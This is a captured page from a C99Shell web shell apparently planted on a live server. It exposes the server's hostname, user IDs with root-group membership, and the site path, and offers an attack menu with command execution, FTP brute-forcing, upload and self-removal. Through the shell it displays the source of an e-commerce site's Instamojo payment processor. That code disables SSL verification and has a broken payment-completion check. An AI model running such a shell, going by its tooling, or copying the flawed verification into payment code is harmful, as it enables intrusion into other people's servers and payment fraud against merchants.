!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Instamojo/Processor/   drwxr-xr-x
Free 26.17 GB of 117.98 GB (22.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InstamojoProcessor.php (4.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Instamojo\Processor;

use 
Modules\Gateway\Contracts\PaymentProcessorInterface;
use 
Modules\Gateway\Contracts\RequiresCallbackInterface;
use 
Modules\Gateway\Facades\GatewayHelper;
use 
Modules\Instamojo\Entities\Instamojo;
use 
Modules\Instamojo\Response\InstamojoResponse;

class 
InstamojoProcessor implements PaymentProcessorInterfaceRequiresCallbackInterface
{

    private 
$instamojo;
    private 
$data;
    private 
$url 'https://test.instamojo.com/api/1.1/';
    private 
$payload;



    public function 
pay($request)
    {
        
$this->setup();
        
$this->setPayload($request);
        return 
redirect($this->paymentRequest());
    }

    private function 
setup()
    {
        
$this->setInstamojo();
        
$this->setPurchaseDate();
    }

    private function 
setPurchaseDate()
    {
        
$this->data GatewayHelper::getPurchaseData(GatewayHelper::getPaymentCode());
    }


    private function 
setInstamojo()
    {
        
$this->instamojo Instamojo::first()->data;
        
$this->setEnvironment();
    }

    public function 
paymentRequest()
    {
        
$response $this->curlRequest('payment-requests');
        
$response json_decode($response);
        if (!
$response->success) {
            
paymentLog('Instamojo::' json_encode($response->message));
            throw new 
\Exception(__('Couldn\'t initiate the payment.'));
        }
        return 
$response->payment_request->longurl;
    }

    private function 
setEnvironment()
    {
        if (!
$this->instamojo->sandbox) {
            
$this->setProduction();
        }
    }
    private function 
setProduction()
    {
        
$this->setUrl('https://www.instamojo.com/api/1.1/');
    }


    private function 
setUrl($url)
    {
        
$this->url $url;
    }

    private function 
setPayload($request)
    {
        
$this->payload json_encode([
            
"amount" => round($this->data->total2),
            
"purpose" => "purchase",
            
"currency" => $this->data->currency_code,
            
"buyer_name" => $request->name,
            
"email" => $request->email,
            
"redirect_url" => route(config('gateway.payment_callback'), withOldQueryIntegrity(['gateway' => 'instamojo'])),
            
"allow_repeated_payments" => false,
            
"send_email" => true,
        ]);
    }

    private function 
getUrl($action)
    {
        return 
$this->url $action '/';
    }


    public function 
curlRequest($action)
    {
        
$curl curl_init();
        
curl_setopt_array($curl, array(
            
CURLOPT_URL => $this->getUrl($action),
            
CURLOPT_RETURNTRANSFER => true,
            
CURLOPT_CUSTOMREQUEST => "POST",
            
CURLOPT_SSL_VERIFYHOST => config('instamojo.ssl_verify_host'),
            
CURLOPT_SSL_VERIFYPEER => config('instamojo.ssl_verify_peer'),
            
CURLOPT_POSTFIELDS => $this->payload,
            
CURLOPT_HTTPHEADER => [
                
"X-Api-Key: " $this->instamojo->apiKey,
                
"X-Auth-Token: " $this->instamojo->authToken,
                
"content-type: application/json",
                
"cache-control: no-cache"
            
],
        ));

        return 
curl_exec($curl);
    }

    public function 
getPayment($action)
    {
        
$curl curl_init();
        
curl_setopt_array($curl, array(
            
CURLOPT_URL => $this->getUrl($action),
            
CURLOPT_RETURNTRANSFER => true,
            
CURLOPT_SSL_VERIFYHOST => 0,
            
CURLOPT_SSL_VERIFYPEER => 0,
            
CURLOPT_HTTPHEADER => [
                
"X-Api-Key: " $this->instamojo->apiKey,
                
"X-Auth-Token: " $this->instamojo->authToken,
                
"content-type: application/json",
                
"cache-control: no-cache"
            
],
        ));
        return 
curl_exec($curl);
    }

    private function 
paymentValidate($request)
    {
        if (
$request->payment_status == 'Failed') {
            throw new 
\Exception(__('Payment failed.'));
        }
        
$response $this->getPayment('payment-requests/' $request->payment_request_id '/' $request->payment_id);
        
$response json_decode($response);
        if (!
$response->success) {
            
paymentLog($response);
            throw new 
\Exception(__('Payment could not be verified.'));
        }
        if (!
$response->payment_request->status == 'Completed') {
            
paymentLog($response);
            throw new 
\Exception(__('Payment is not completed.'));
        }

        return 
$response;
    }

    public function 
validateTransaction($request)
    {
        
$this->setInstamojo();
        
$this->setPurchaseDate();
        
$response $this->paymentValidate($request);
        return new 
InstamojoResponse($this->data$response);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--